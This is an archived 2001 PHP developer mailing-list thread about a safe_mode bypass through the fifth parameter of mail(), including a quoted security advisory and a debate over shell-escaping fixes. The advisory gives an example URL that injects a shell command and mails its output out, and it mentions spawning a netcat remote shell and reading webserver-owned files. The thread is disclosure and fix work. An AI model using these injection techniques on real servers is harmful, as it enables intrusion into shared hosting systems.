Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[derick]

On Thu, 5 Jul 2001, Zak Greant wrote:

> _shell_arg single quotes a string, and converts any existing
> single quotes (') in the value are to '\''. This sequence
> temporarily ends the single-quoted string, inserts a literal
> single quote, and then resumes the string.
>
> Shells don't interpret *anything* inside of a single quoted
> string, making this a very safe strategy (IMUO)

Ah you're right about that. I just saw the escaping of ' in the string,
but not the quoting. I've a fix ready now. Will commit after I tested it a
little more.

regards,
Derick Rethans

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[Zak Greant]

Derick wrote:
> As far as I can see does shell_arg only escape the ' and shell_cmd the
> following characters: #&;`'\"|*?~<>^()[]{}$\\\x0A\xFF so I think
> _shell_cmd would be the best choice.

This is probably a nit-picking point that I should not have
wasted your time with. :) Here was my reasoning for recommending
_shell_arg over _shell_cmd: 

_shell_cmd escapes a range of characters to render them safe
to use as part of a shell argument. It uses the strategy of
escaping meta-characters and control operators with a
leading backslash so that they are interpreted as literal
values.

_shell_arg single quotes a string, and converts any existing 
single quotes (') in the value are to '\''. This sequence 
temporarily ends the single-quoted string, inserts a literal 
single quote, and then resumes the string.

Shells don't interpret *anything* inside of a single quoted
string, making this a very safe strategy (IMUO)

However, given that no one cognizant of these matters has
made the same recommendation, you are probably quite safe
in your original choice! :)

--zak


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[derick]

On Thu, 5 Jul 2001, Alexander Bokovoy wrote:

> BTW, shouldn't \x0A-\xFF be escapeable only if they aren't characters
> according current locale?

For e-mail adresses this makes no difference if these are escaped too,
I don't know about the other issues with it.

regards,

Derick Rethans

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[Alexander Bokovoy]

On Thu, Jul 05, 2001 at 09:10:10AM +0200, [EMAIL PROTECTED] wrote:
> On Wed, 4 Jul 2001, Zak Greant wrote:
> 
> > Derick wrote:
> >
> > > Hello Zak,
> > >
> > > regarding this problem with the mail() function, I have a fix here where
> > > the 5th parameter will be shell escaped (with php_shell_escape_cmd()). I
> > > didn't commit it yet (because of ISP troubles), but if nobody thinks this
> > > is a bad idea, I'll commit it tomorrow.
> >
> > Hey Derick,
> >
> > Excellent! :)
> >
> > Should we be using php_escape_shell_arg() instead of
> > php_escape_shell_cmd()?
> 
> As far as I can see does shell_arg only escape the ' and shell_cmd the
> following characters: #&;`'\"|*?~<>^()[]{}$\\\x0A\xFF so I think
> _shell_cmd would be the best choice.
BTW, shouldn't \x0A-\xFF be escapeable only if they aren't characters
according current locale?
-- 
Sincerely yours, Alexander Bokovoy 
  The Midgard Project| ALT  Linux  Team | Minsk Linux Users Group
 www.midgard-project.org | www.altlinux.ru  |www.minsk-lug.net 
-- You won't skid if you stay in a rut.
-- Frank Hubbard

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[derick]

On Wed, 4 Jul 2001, Zak Greant wrote:

> Derick wrote:
>
> > Hello Zak,
> >
> > regarding this problem with the mail() function, I have a fix here where
> > the 5th parameter will be shell escaped (with php_shell_escape_cmd()). I
> > didn't commit it yet (because of ISP troubles), but if nobody thinks this
> > is a bad idea, I'll commit it tomorrow.
>
> Hey Derick,
>
> Excellent! :)
>
> Should we be using php_escape_shell_arg() instead of
> php_escape_shell_cmd()?

As far as I can see does shell_arg only escape the ' and shell_cmd the
following characters: #&;`'\"|*?~<>^()[]{}$\\\x0A\xFF so I think
_shell_cmd would be the best choice.

Derick

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[Zak Greant]

Derick wrote:

> Hello Zak,
> 
> regarding this problem with the mail() function, I have a fix here where
> the 5th parameter will be shell escaped (with php_shell_escape_cmd()). I
> didn't commit it yet (because of ISP troubles), but if nobody thinks this
> is a bad idea, I'll commit it tomorrow.

Hey Derick,

Excellent! :)

Should we be using php_escape_shell_arg() instead of 
php_escape_shell_cmd()?

As I understand it, php_escape_shell_arg() is the simpler and more
robust of the two functions.

--zak


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

[Derick Rethans]

Hello Zak,

regarding this problem with the mail() function, I have a fix here where
the 5th parameter will be shell escaped (with php_shell_escape_cmd()). I
didn't commit it yet (because of ISP troubles), but if nobody thinks this
is a bad idea, I'll commit it tomorrow.

Derick


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11890 Updated: linux exploitable

[zak]

ID: 11890
Updated by: zak
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: *General Issues
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

Please check the existing bugs before posting a new one!

Previous Comments:
---

[2001-07-04 16:24:21] [EMAIL PROTECTED]


- Original Message -
From: "Joost Pol" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, June 30, 2001 1:40 PM
Subject: php breaks safe mode


> Laberatoire Contempt
>
> Date : 12/06/2001
> Author   : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
> Impact   : Minor in most cases.
>
> Subject  : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
>  1.0 - Description of the problem
>
>   An extra 5th parameter was added to the mail() command breaking
safemode:
>
>   - snippet of the code in mail.c (lines 156-165)
>
>   if (extra_cmd != NULL) {
>sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
>strcpy (sendmail_cmd, sendmail_path);
>strcat (sendmail_cmd, " ");
>strcat (sendmail_cmd, extra_cmd);
>} else
 sendmail_cmd = sendmail_path;   }
>sendmail = popen(sendmail_cmd,
  }  }
>
>   - end of code snippet
>
>   The popen() function is the C library function popen(3).
>
>   An attacker could easily upload a simple evil.php script containing:
>
>   
>
>   Then the script could be invoked using a simple query like:
>
>   http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
>
>  1.1 Impact
>
>   Well, first of all it renders an important part of safe_mode useless.
>
>   Two examples come to mind:
>
>1.1.1 Example 1
>
> A customer has bougt some web space from a provider and is given only
> ftp access to upload his files. The customer is not supposed to have
> shell access nor view files outside of his home directory.
>
> The customer could easily upload and compile a "lite" version of the
> popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
install) and spawn him self a remote shell on the hosting boxen.
>
> If something like suexec is not used by the provider, the shell
spawned
> could in fact be a "nobody" (uid of webserver) shell. This could make
> the situation even worse.
>
> Situations where (virtual) hosting machines are used in a host-based
> authentication scheme, i am not even willing to *consider*.
>
>1.1.2 Example 2
>
> A customer has bought some web space from a provider and was given
> a shell account on the hosting boxen.
>
> If something similiar to suexec is not running the customer could
spawn
> him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
> The impact of this varies on a per setup/provider basis.
>
> Most providers just dont *expect* someone to have a shell with the uid
> of the webserver on the hosting box.
>
> "Internal" scripts, database schemes and database password are
commonly
> (but sadly) left owned by the uid/gid of the webserver. These become
> vulnerable.
>
> Even webserver configuration files (httpd.conf) and *complete*
webserver
> roots owned by the uid/gid of the webserver have been observed in
> the wild.
>
> Experience learns that when unexepected-nobody access is gained on a
> (virtual) hosting machine "bad" things are bound to happen sooner or
later.
>
>  1.2 - Solution
>
>Well, obviously just a "slip" of the PHP-team.
>
>5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
>  2.0 - Description of the problem
>
>   PHP safe_mode has the nice feature of disallowing the opening/reading
>   and writing to files that are not owned by the uid that the script
>   is owned by.
>
>   Though using some "common sense" it still is possible to open/read
>   and write to files that are owned by the uid the webserver is
>   running as.
>
>   *notice* assuming that something like suexec is not in place */notice*
>
>   An attacker could upload a simple script that does the following:
>
>  $cmd = '';
> error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>   ?>
>
>   For example, assuming that the error_log is owned by the webserver it
>   could be read using a simple query:
>
>   http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
>  2.1 - Impact
>
>   Depends on the setup of the hosting box.
>
>   If suexec or something similiar is used, impact is nihil.
>
>   See also 1.1.1/1.1.2
>
>  2.3 - Solution
>
>   Disallow the changing of the error_log location in safe_mode?
>
>   Not really for me to say, the PHP-team will come with something good.
>
>   Notice: just changing the error_l